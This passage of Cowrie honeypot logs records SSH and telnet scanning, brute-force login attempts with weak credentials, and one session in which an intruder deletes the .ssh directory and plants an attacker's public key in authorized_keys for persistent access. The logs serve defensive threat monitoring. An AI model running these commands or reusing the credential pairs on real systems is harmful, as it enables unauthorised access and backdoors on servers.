tp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:52:19.981335Z","src_ip":"185.247.137.22","session":"002206ad43bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:52:20.058141Z","src_ip":"185.247.137.22","session":"002206ad43bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.55.71","src_port":51584,"dst_ip":"159.203.135.109","dst_port":22,"session":"74b46a2deff7","protocol":"ssh","message":"New connection: 198.98.55.71:51584 (159.203.135.109:22) [session: 74b46a2deff7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:52:47.129005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:52:47.134336Z","src_ip":"198.98.55.71","session":"74b46a2deff7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:52:47.144112Z","src_ip":"198.98.55.71","session":"74b46a2deff7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd123@","message":"login attempt [ubuntu/P@ssw0rd123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:52:47.197490Z","src_ip":"198.98.55.71","session":"74b46a2deff7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:52:48.206607Z","src_ip":"198.98.55.71","session":"74b46a2deff7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":33388,"dst_ip":"159.203.135.109","dst_port":22,"session":"29f4fe56adb4","protocol":"ssh","message":"New connection: 87.106.29.151:33388 (159.203.135.109:22) [session: 29f4fe56adb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:52:53.382274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:52:53.387096Z","src_ip":"87.106.29.151","session":"29f4fe56adb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:52:53.481940Z","src_ip":"87.106.29.151","session":"29f4fe56adb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1q2w3e","message":"login attempt [test/1q2w3e] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:52:53.884817Z","src_ip":"87.106.29.151","session":"29f4fe56adb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:52:54.982868Z","src_ip":"87.106.29.151","session":"29f4fe56adb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":32998,"dst_ip":"159.203.135.109","dst_port":22,"session":"25ce32cff2c5","protocol":"ssh","message":"New connection: 47.239.15.75:32998 (159.203.135.109:22) [session: 25ce32cff2c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:53:05.259845Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":48036,"dst_ip":"10.17.0.5","dst_port":23,"session":"266b555963da","protocol":"telnet","message":"New connection: 45.58.127.90:48036 (10.17.0.5:23) [session: 266b555963da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:53:07.667719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:53:14.310050Z","src_ip":"47.239.15.75","session":"25ce32cff2c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:53:14.523229Z","src_ip":"47.239.15.75","session":"25ce32cff2c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":34036,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4a62b7facb2","protocol":"ssh","message":"New connection: 47.239.15.75:34036 (159.203.135.109:22) [session: f4a62b7facb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:53:18.922144Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":54174,"dst_ip":"10.17.0.5","dst_port":23,"session":"539bcf17d195","protocol":"telnet","message":"New connection: 45.58.127.90:54174 (10.17.0.5:23) [session: 539bcf17d195]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:53:19.700522Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":54162,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc92bfa9854e","protocol":"telnet","message":"New connection: 45.58.127.90:54162 (10.17.0.5:23) [session: dc92bfa9854e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:53:21.812959Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":54190,"dst_ip":"10.17.0.5","dst_port":23,"session":"96a6d61a8837","protocol":"telnet","message":"New connection: 45.58.127.90:54190 (10.17.0.5:23) [session: 96a6d61a8837]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:53:24.121005Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:53:28.479713Z","src_ip":"47.239.15.75","session":"6d633f95275e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.55.71","src_port":52612,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d067830d530","protocol":"ssh","message":"New connection: 198.98.55.71:52612 (159.203.135.109:22) [session: 3d067830d530]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:53:34.907809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:53:34.913207Z","src_ip":"198.98.55.71","session":"3d067830d530","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:53:34.921109Z","src_ip":"198.98.55.71","session":"3d067830d530","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ljy123456","message":"login attempt [root/Ljy123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:53:34.976991Z","src_ip":"198.98.55.71","session":"3d067830d530","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:53:35.985903Z","src_ip":"198.98.55.71","session":"3d067830d530","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.6","message":"Connection lost after 20.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:53:39.541964Z","src_ip":"47.239.15.75","session":"f4a62b7facb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":39146,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc0513ffd5fd","protocol":"ssh","message":"New connection: 87.106.29.151:39146 (159.203.135.109:22) [session: dc0513ffd5fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:53:46.204944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:53:46.210491Z","src_ip":"87.106.29.151","session":"dc0513ffd5fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:53:46.303591Z","src_ip":"87.106.29.151","session":"dc0513ffd5fd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle#123","message":"login attempt [oracle/oracle#123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:53:46.701983Z","src_ip":"87.106.29.151","session":"dc0513ffd5fd","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:53:46.939377Z","src_ip":"87.106.29.151","session":"dc0513ffd5fd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:53:46.943307Z","src_ip":"87.106.29.151","session":"dc0513ffd5fd","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:53:46.947978Z","src_ip":"87.106.29.151","session":"dc0513ffd5fd","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:53:47.044504Z","src_ip":"87.106.29.151","session":"dc0513ffd5fd","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:53:47.280159Z","src_ip":"87.106.29.151","session":"dc0513ffd5fd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:53:47.283859Z","src_ip":"87.106.29.151","session":"dc0513ffd5fd","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:53:47.383476Z","src_ip":"87.106.29.151","session":"dc0513ffd5fd","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:53:47.387653Z","src_ip":"87.106.29.151","session":"dc0513ffd5fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":39162,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b4472f1cd30","protocol":"ssh","message":"New connection: 87.106.29.151:39162 (159.203.135.109:22) [session: 3b4472f1cd30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:53:47.482261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:53:47.487201Z","src_ip":"87.106.29.151","session":"3b4472f1cd30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchang